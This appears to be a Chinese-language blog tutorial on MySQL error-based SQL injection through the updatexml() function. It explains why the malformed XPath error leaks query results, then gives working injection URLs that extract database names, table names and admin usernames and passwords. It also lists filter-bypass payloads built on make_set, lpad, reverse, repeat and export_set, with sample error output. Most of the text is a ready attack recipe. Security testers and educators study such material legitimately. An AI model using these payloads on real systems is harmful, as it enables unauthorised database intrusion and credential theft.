MySQL updatexml報錯注入

updatexml () 函數

updatexml(XML_document, XPath_string, new_value);
參數 描述
XML_document String格式,爲XML文檔對象的名稱,文中爲Doc
XPath_string Xpath格式的字符串
new_value String格式,替換查找到的符合條件的數據

原理

select updatexml(1,concat(0x7e,(SELECT user()),0x7e),1
  • concat()函數是將其連成一個字符串,因此不會符合XPATH_string的格式,從而出現格式錯誤,爆出用戶
  • 0x7eASCII碼,實爲~,upadtexml()報錯信息爲特殊字符、字母及之後的內容,爲了前面字母丟失,開頭連接一個特殊字符~ eg:

運用

爆庫

http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆表

http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆字段內容

http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

簡單繞過

如:concat等常見的字符串拼接函數被過濾時,我們可以使用冷門的字符串處理函數繞過

make_set()

make_set()用法
pload

select updatexml(1,make_set(3,0x7e,(select user())),1);

其他

類似的函數:lpad()、reverse()、repeat()、export_set()(lpad()、reverse()、repeat()這三個函數使用的前提是所查詢的值中,必須至少含有一個特殊字符,否則會漏掉一些數據)。
select updatexml(1,lpad('@',30,(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhostr@'

mysql> select updatexml(1,repeat((select user()),2),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhost'

mysql> select updatexml(1,(select user()),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhost'

mysql> select updatexml(1,reverse((select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '@toor'

mysql> select updatexml(1,export_set(1|2,'::',(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '::,::,root@localhost,root@localh'
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章